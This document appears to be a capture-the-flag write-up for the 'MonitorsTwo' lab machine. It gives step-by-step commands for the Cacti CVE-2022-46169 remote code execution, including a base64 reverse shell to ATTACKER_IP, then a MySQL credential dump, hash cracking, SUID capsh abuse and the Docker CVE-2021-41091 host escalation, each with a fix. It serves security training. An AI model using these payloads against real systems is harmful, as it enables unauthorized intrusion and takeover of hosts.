MonitorsTwo
Summary
I confirmed Cacti 1.2.22 running on port 80 behind nginx and matched it immediately to CVE-2022-46169, an unauthenticated remote code execution flaw in remote_agent.php that bypasses an IP-whitelist by spoofing the X-Forwarded-For header. Exploitation landed a reverse shell as www-data inside a Docker container. Plaintext MySQL credentials hardcoded in the Cacti configuration file were used to dump the user table from the database; the bcrypt hash for 'marcus' was cracked offline and his password was reused verbatim for SSH access to the host, yielding the user flag.
Back inside the container, a SUID-misconfigured copy of capsh was abused to escalate to root within the container, then the SUID bit was planted on /bin/bash in the container filesystem. The CVE-2021-41091 Docker overlay-mount vulnerability then let marcus — a low-privilege user on the host — locate the container's writable overlay directory and execute the SUID bash binary directly from the host path, achieving root on the underlying machine.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <marcus_hash>, <the-path-find-printed> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Confirm open ports and banner versions.
$ nmap -Pn -sV --open -p 22,80 $TARGETIdentify the web application and confirm Cacti is running at the document root.
$ curl -s -i --max-time 15 http://$TARGET/Confirm exact Cacti version from the embedded changelog.
$ curl -s --max-time 15 http://$TARGET/CHANGELOG | head -30FixPatch Cacti to a version that fixes CVE-2022-46169 and restrict remote_agent.php network accessCritical
Exact commands 2
Start a reverse-shell listener on the operator machine at <an-address-on-that-network>.
$ tmux new-session -d -s rsh 'nc -lvnp 4444'The spoofed header satisfies Cacti's local-poller check and the payload rides in poller_id. Base64 keeps the shell one-liner's own metacharacters out of the URL.
$ B64=$(printf '%s' "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0) && curl -s -i -H 'X-Forwarded-For: 127.0.0.1' "http://$TARGET/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1;echo+$B64|base64+-d|bash"Exact commands 2
Confirm the shell is inside a Docker container.
$ cat /.dockerenv && hostname && ip addr showExtract the hardcoded MySQL credentials from Cacti's configuration file.
$ grep -E 'database_(host|username|password|default)' /var/www/html/include/config.phpExact commands 3
From the www-data shell. The database is a separate compose service, reachable by the name docker gives it — config.php names both the host and the credential.
$ mysql --host=db -u root -p"$PASSWORD2" cacti -e 'SELECT username,password FROM user_auth;'Save the recovered hash to a file on the operator machine for offline cracking.
$ echo '<marcus_hash>' > /tmp/marcus.hashCrack the bcrypt hash (hashcat mode 3200) for user marcus.
$ hashcat -m 3200 /tmp/marcus.hash /usr/share/wordlists/rockyou.txt --forceFixNever reuse application database credentials as OS account passwordsHigh
Exact commands 2
Authenticate with the password recovered by hashcat.
$ ssh marcus@$TARGETRead the user flag: <user.txt>
$ cat /home/marcus/user.txtExact commands 3
Enumerate all SUID binaries present inside the container.
$ find / -perm -4000 -type f 2>/dev/nullExploit the SUID capsh binary to obtain a root shell inside the container.
$ /sbin/capsh --gid=0 --uid=0 --Set the SUID bit on /bin/bash inside the container to enable exploitation from the host via CVE-2021-41091.
$ chmod u+s /bin/bashFixRemove the SUID bit from capsh and audit all container images for unnecessary SUID binariesHigh
Exact commands 3
From marcus's SSH session on the host. Whichever path this prints is the one to run; it is under a diff layer, not the merged view.
$ find /var/lib/docker/overlay2 -name bash -perm -4000 2>/dev/null-p keeps the effective uid the setuid bit carries, which on the host is root.
$ <the-path-find-printed> -pConfirm root and read the flag: <root.txt>
$ id && cat /root/root.txtFixUpgrade Docker Engine to patch CVE-2021-41091 and lock down overlay filesystem permissionsCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.